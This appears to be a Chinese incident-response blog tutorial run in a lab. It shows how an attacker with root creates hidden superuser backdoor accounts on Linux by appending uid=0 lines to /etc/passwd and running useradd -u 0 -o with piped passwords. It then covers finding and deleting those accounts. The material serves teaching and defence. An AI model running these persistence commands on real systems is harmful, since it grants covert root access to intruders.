[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 2.1 Linux后门应急-1:增加超级用户帐号
- 2.1.1 增加超级用户帐号后门介绍
- 2.1.1.1 超级用户账号简介
- 2.1.1.2 原理
- 2.1.1.3 实现步骤
- 2.1.1.4 防御措施
- 2.2.2 超级用户帐号创建实战
- 2.2.2.1 前提条件
- 2.2.2.2 环境介绍
- 2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
- 2.2.2.3.1 增加超级用户账号后门
- 2.2.2.3.2 超级用户账号后门测试
- 2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
- 2.2.2.4.1 设置靶机不允许uid=0的用户登录
- 2.2.2.4.2 增加超级用户账号后门
- 2.2.2.4.3 超级用户账号后门测试
- 2.2.2.5 情况三:不交互无回显添加Linux密码
- 2.2.2.5.1 简单解释不交互无回显
- 2.2.2.5.2 方案一
- 2.2.2.5.3 验证方案一
- 2.2.2.5.4 方案二
- 2.2.2.5.5 验证方案二
- 2.2.2.5.6 方案三
- 2.2.2.5.7 验证方案三
- 2.2.3 非法超级用户帐号应急实战
- 2.2.3.1 找到后门用户
- 2.2.3.2 删除所有后门用户
- 相关资源
2.1 Linux后门应急-1:增加超级用户帐号
2.1.1 增加超级用户帐号后门介绍
2.1.1.1 超级用户账号简介
增加超级用户账号是一种常见的后门技术,通过创建高权限账户来保持对系统的长期控制。这种方法通常在攻击者获得系统root权限后执行,以便日后再次访问。
2.1.1.2 原理
增加超级用户账号的原理是通过修改系统文件如/etc/passwd或/etc/shadow,添加新的用户条目并赋予其root权限。这些新用户将具有与系统管理员相同的权限,从而能够绕过正常的安全验证。
2.1.1.3 实现步骤
首先,通过命令行工具如echo和passwd向/etc/passwd和/etc/shadow文件中添加新的用户记录。然后,设置该用户的密码。最后,通过SSH或其他远程登录方式使用新创建的超级用户账号进行登录。
2.1.1.4 防御措施
为防止此类攻击,应定期检查系统文件的完整性,监控异常登录行为,并限制sudo权限的使用。同时,采用多因素认证和日志审计等手段提高系统安全性。
2.2.2 超级用户帐号创建实战
2.2.2.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的root权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门。
2.2.2.2 环境介绍
靶机: centos7
IP: 10.0.0.202
攻击机: kali
IP: 10.0.0.128
远程模拟获取到的权限
ssh root@10.0.0.202
2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
2.2.2.3.1 增加超级用户账号后门
echo "powershell:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd powershell #修改powershell的密码为PS@SP@12@
由于有复杂度的要求,我设的复杂了一点点
2.2.2.3.2 超级用户账号后门测试
远程登录
powershell
测试,ssh远程登录,输入密码,登录成功,而且是root权限
ssh powershell@10.0.0.202
whoami
2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
2.2.2.4.1 设置靶机不允许uid=0的用户登录
Linux禁止root账户远程登录
1.修改配置文件
vi /etc/ssh/sshd_config
PermitRootLogin改成no
直接在配置文件末尾添加 PermitRootLogin no 也是可行的
2.最后重启ssh服务
service sshd restart
3.配置成功
再次采用root权限用户进行登陆,登陆不成功。
2.2.2.4.2 增加超级用户账号后门
如果系统不允许 uid=0 的用户远程登录(因为root的uid=0),可以增加一个普通用户账号
这种情况是防止后续用户禁止root登录,我们的root权限账户丢失,而丢失目标系统的所有权限,可以提前创建一个普通用户账号。
echo "hanchan:x:1000:1000::/:/bin/sh" >> /etc/passwd #增加普通用户账号
passwd hanchan #修改hanchan的密码为PS@SP@12@
2.2.2.4.3 超级用户账号后门测试
远程登录
hanchan
测试,ssh远程登录,输入密码,登录成功,而且是hanchan普通用户权限。
这个时候登录root账户,即使输入正确的密码也是不能成功登录的(因为root的uid=0)
2.2.2.5 情况三:不交互无回显添加Linux密码
2.2.2.5.1 简单解释不交互无回显
不交互无回显添加Linux密码指的是一种自动化脚本或命令行工具的使用方法,它允许管理员在没有用户交互的情况下(即不需要手动输入密码),并且不在终端上显示(即无回显)的情况下设置或更改用户的密码。这种技术常用于自动化部署、批量管理系统账户或者在脚本中安全地处理密码。
简单来说:我创建用户不需要在交互页面中输入密码、确认密码
2.2.2.5.2 方案一
创建后门用户hanchan1
useradd hanchan -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan #创建账户hanchan、密码123456且为root权限这个命令分为两部分,由 || 连接
useradd: 这个命令用于创建一个新的用户账户。
hanchan: 这是新用户的用户名。
-u 0: 这个选项指定了用户的UID(用户标识符)。UID为0通常表示root用户。
-o: 这个选项允许覆盖系统默认设置,例如在UID为0的情况下仍然创建用户。
-g root: 这个选项将用户分配到root组。
-G root: 这个选项将用户添加到其他附加组,这里也是root组。
echo "123456": 输出密码123456。
|: 管道符号,将左边的输出作为右边命令的输入。
passwd --stdin hanchan: 使用标准输入来设置用户hanchan的密码。如果用户 hanchan 已经存在且你不知道当前密码,执行这个命令将会把 hanchan 的密码修改为 123456。这是因为 passwd --stdin 命令允许通过标准输入直接设置新密码,绕过了需要知道当前密码的限制。
如果想直接修改原有用户密码,直接执行就可以
创建新的用户得执行命令两次才可以
useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限
useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限
查看hanchan1用户权限
本想直接创建hanchan用户,哪曾想已经存在了,执行结果就是修改了他的密码,但他的用户权限是不变的。又创建了一个hanchan1的新用户。
查看新用户hanchan1权限为root权限
切换到hanchan1用户执行whoami
2.2.2.5.3 验证方案一
ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。
ssh hanchan1@10.0.0.202
2.2.2.5.4 方案二
创建后门用户hanchan2
useradd hanchan2
echo "123456" | passwd --stdin hanchan2
查看hanchan2权限,权限较小
cat /etc/passwd
su hanchan2
whoami
2.2.2.5.5 验证方案二
ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。
ssh hanchan2@10.0.0.202
2.2.2.5.6 方案三
创建后门用户hanchan3
useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3
useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3useradd: 创建新用户的命令。
-u 0: 指定用户的 UID(用户标识符)为 0。UID 0 通常保留给超级用户(root)。
-o: 允许使用重复的 UID。默认情况下,如果指定的 UID 已经存在,useradd 会失败。加上 -o 选项后,即使 UID 已存在,也会继续执行。
-g root: 将用户的主要组设置为 root。
-G root: 将用户添加到 root 组中。
hanchan3: 要创建的用户名。
|:管道符号用于将前一个命令的输出作为下一个命令的输入。在这里,它的作用是将 useradd 命令的输出传递给 echo 命令。
echo: 打印文本到标准输出。
-e: 启用转义字符的解释。
"1han2chan\1han2chan": 要打印的字符串,其中 \n 表示换行符。因此,这个命令会输出两行相同的密码 1qazwsx2wsx。
passwd: 更改用户密码的命令。
hanchan3: 要更改密码的用户名。
也是得执行两次,并且对密码强度有要求
查看hanchan3权限,为root权限
cat /etc/passwd
su hanchan2
whoami
2.2.2.5.7 验证方案三
ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。
ssh hanchan2@10.0.0.202
2.2.3 非法超级用户帐号应急实战
2.2.3.1 找到后门用户
Linux下查看可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
查看特权账户,那些账户有root权限
awk -F: '$3==0 {print$1}' /etc/passwd
之后与服务器管理员沟通,就可以确定黑客增加的用户账号了。
最终确认了powershell、hanchan、hanchan1、hanchan2、hanchan3五个后门用户,将其删除即可。
2.2.3.2 删除所有后门用户
删除相关文件的所有的行
vi /etc/passwd
vi /etc/shadow
vi /etc/group
删除归于后门用户的所有的文件及文件夹以及计划任务等等内容,后续还会详细讲到。
相关资源
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-1:windows后门账户
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-2:计划任务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-3:windows服务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4:启动项后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-5:Shift 粘贴键后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-6:windows轻松访问后门
相关文章:

[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门
🍬 博主介绍 👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...

【无人机/平衡车/机器人】详解STM32+MPU6050姿态解算—卡尔曼滤波+四元数法+互补滤波
详解STM32+MPU6050姿态解算—卡尔曼滤波+四元数法+互补滤波 效果: 更多单片机项目,单片机项目合集列表目录与专栏说明: 单片机项目合集列表与专栏说明——Excel合集列表目录查阅(持续更新)-CSDN博客编辑https://archie.blog.csdn.net/article/details/142381401https:/…...

数据结构-8.Java. 七大排序算法(上篇)
本篇博客给大家带来的是排序的知识点, 由于时间有限, 分两天来写, 上篇主要实现 前四种排序算法: 直接插入, 希尔, 选择, 堆排。 文章专栏: Java-数据结构 若有问题 评论区见 欢迎大家点赞 评论 收藏 分享 如果你不知道分享给谁,那就分享给薯条. 你们的支持是我不断创作的动力 …...

YOLOV5/rknn生成可执行文件部署在RK3568上
接上一篇文章best-sim.rknn模型生成好后,我们要将其转换成可执行文件运行在RK3568上,这一步需要在rknpu上进行,在强调一遍!!rknpu的作用是可以直接生成在开发板上运行的程序 退出上一步的docker环境 exit1.复制best-…...
java http body的格式 application/x-www-form-urlencoded不支持文件上传
在Java中,HTTP请求的body部分可以包含多种格式的数据,主要包括以下几种: application/x-www-form-urlencoded:这种格式将数据编码成键值对的形式,键和值都进行了URL编码,键值对之间用&符号连接。…...

GPU服务器厂家:为什么要选择 GPU 服务器?
文章来源于百家号:GPU服务器厂家 嘿,各位小伙伴们!今天咱来聊聊为啥要选择 GPU 服务器,特别是定制化的那种哦。 你们知道吗?现在定制化 GPU 服务器那可是超火的,简直就是科研项目的超强 “外挂”&#x…...
Python操作neo4j库py2neo使用之py2neo 删除及事务相关操作(三)
Python操作neo4j库py2neo使用之py2neo 删除及事务相关操作(三) py2neo 删除 1、连接数据库 from py2neo import Graph graph Graph("bolt://xx.xx.xx.xx:7687", auth(user, pwd), nameneo4j)2、删除节点 # 删除单个节点 node graph.node…...

Idea忽略提交文件、Idea设置文件隐藏、Idea提交时隐藏部分文件、git提交时忽略文件
文章目录 一、在idea中commit文件时隐藏文件方式一:创建.gitignore文件(推荐)方式二:通过File Types设置隐藏文件方式三:通过Git配置忽略文件(不推荐)总结 二、可能遇到的问题2.1、.gitigno…...
python如何使用spark操作hive
文章目录 1、服务启动2、修改配置3、验证4、开发环境编写代码操作hive 1、服务启动 # 启动hdfs和yarn start-all.sh # 日志服务也需要启动一下 mapred --daemon start historyserver # 启动spark的日志服务 /opt/installs/spark/sbin/start-history-server.sh #启动hive的meta…...

观察者模式和订阅模式
观察者模式和订阅模式在概念上是相似的,它们都涉及到一个对象(通常称为“主题”或“发布者”)和多个依赖对象(称为“观察者”或“订阅者”)之间的关系。然而,尽管它们有相似之处,但在某些方面也…...

基于ToLua的C#和Lua内存共享方案保姆级教程
C#和Lua内存共享方案保姆级教程 前言 在介绍C#和Lua内存共享方案之前,先介绍下面两个点来支撑这个方案的必要性 跨语言交互很费 Lua和C#交互最早是基于反射的方式实现的,后来为了提升性能发展成Luajit+C#静态方法导出注入到lua虚拟机的方式至此Lua+Unity的性能才达到了实…...

OpenCV与AI深度学习|16个含源码和数据集的计算机视觉实战项目(建议收藏!)
本文来源公众号“OpenCV与AI深度学习”,仅用于学术分享,侵权删,干货满满。 原文链接:分享|16个含源码和数据集的计算机视觉实战项目 本文将分享16个含源码和数据集的计算机视觉实战项目。具体包括: 1. 人…...
Vue 如何简单更快的对 TypeScript 中接口的理解?应用场景?
TypeScript 中接口(Interface)的理解与应用 在 TypeScript 中,接口(Interface) 是一种用来定义对象的结构或形状的方式。接口可以指定对象中应该包含哪些属性、这些属性的类型以及它们的函数签名。接口帮助我们在代码…...

R语言绘图过程中遇到图例的图块中出现字符“a“的解决方法
R语言绘图过程中遇到图例的图块中出现字符的解决方法 因为我遇到这个问题的时候没在网上找到合适的方法,找到个需要付费的,算了。也许是因为问的方式不同,问了半天AI也回答出来,莫名有些烦躁,打算对代码做个分析&…...
视图合并机制解析 | OceanBase查询优化
背景 在默认配置下,若查询语句中嵌入了视图,系统会先等待视图内部所包含的查询完全执行完成后,再继续执行父查询。这种方式造成优化器无法将视图查询与外层查询视为一个整体来进行优化处理,从而限制了优化效果。因此,…...

sql注入报错分享(mssql+mysql)
mysql mysql的报错内容比较多 网上也有比较多的 这里重复的就不多介绍了。一笔带过 溢出类 bigint 当超过mysql的整形的时候,就会导致溢出,mysql可能会将错误信息带出。这里user()是字母默认为0 取反以后1可能就会导致异常。 报错特征 BIGINT UNSIG…...
PHP 高并发解决方案
PHP作为一种脚本语言,在处理高并发请求时可能面临一些挑战。但通过合理的设计和优化,可以有效提升PHP应用程序的性能和并发处理的能力。 一、缓存 页面缓存:将生成的页面缓存起来,减少对数据库的查询,提高响应速度。…...
k8s1.30.0高可用集群部署
负载均衡 nginx负载均衡 两台nginx负载均衡 vim /etc/nginx/nginx.conf stream {upstream kube-apiserver {server 192.168.0.11:6443 max_fails3 fail_timeout30s;#server 192.168.0.12:6443 max_fails3 fail_timeout30s;#server 192.168.0.13:6443 max_fails3…...

多摩川编码器协议及单片机使用
参考: https://blog.csdn.net/qq_28149763/article/details/132718177 https://mp.weixin.qq.com/s/H4XoR1LZSMH6AxsjZuOw6g 1、多摩川编码器协议 多摩川数据通讯是基于485 硬件接口标准NRZ 协议,通讯波特率为2.5Mbps 的串行通讯,采用差分两…...
Android 网络通信(三)OkHttp实现登入
学习笔记 目录 一. 先写XML布局 二、创建 LoginResponse 类 :封装响应数据 目的和作用: 三、创建 MyOkHttp 类 :发送异步请求 代码分析 可能改进的地方 总结 四、LoginActivity 类中实现登录功能 详细分析与注释: 总结: 改进建议: 零、响应数据样例 通过 P…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

css实现圆环展示百分比,根据值动态展示所占比例
代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

关于nvm与node.js
1 安装nvm 安装过程中手动修改 nvm的安装路径, 以及修改 通过nvm安装node后正在使用的node的存放目录【这句话可能难以理解,但接着往下看你就了然了】 2 修改nvm中settings.txt文件配置 nvm安装成功后,通常在该文件中会出现以下配置&…...

DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI
前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...

2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

【Java_EE】Spring MVC
目录 Spring Web MVC 编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 编辑参数重命名 RequestParam 编辑编辑传递集合 RequestParam 传递JSON数据 编辑RequestBody …...

网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...

三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...